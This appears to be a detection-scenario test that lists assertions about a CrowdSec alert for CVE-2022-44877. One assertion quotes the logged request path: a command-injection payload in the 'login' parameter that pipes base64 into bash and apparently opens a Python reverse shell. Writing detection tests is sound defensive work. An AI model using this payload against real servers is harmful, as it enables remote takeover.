| 1 |
len(results) == 1 |
| 2 |
"1.2.3.4" in results[0].Overflow.GetSources() |
| 3 |
results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" |
| 4 |
results[0].Overflow.Sources["1.2.3.4"].Range == "" |
| 5 |
results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" |
| 6 |
results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" |
| 7 |
results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "CVE-2022-44877.log" |
| 8 |
results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" |
| 9 |
results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "355" |
| 10 |
results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)" |
| 11 |
results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "302" |
| 12 |
results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" |
| 13 |
results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" |
| 14 |
results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" |
| 15 |
results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" |
| 16 |
results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" |
| 17 |
results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-17T14:14:21Z" |
| 18 |
results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-44877" |
| 19 |
results[0].Overflow.Alert.Remediation == true |
| 20 |
results[0].Overflow.Alert.GetEventsCount() == 1 |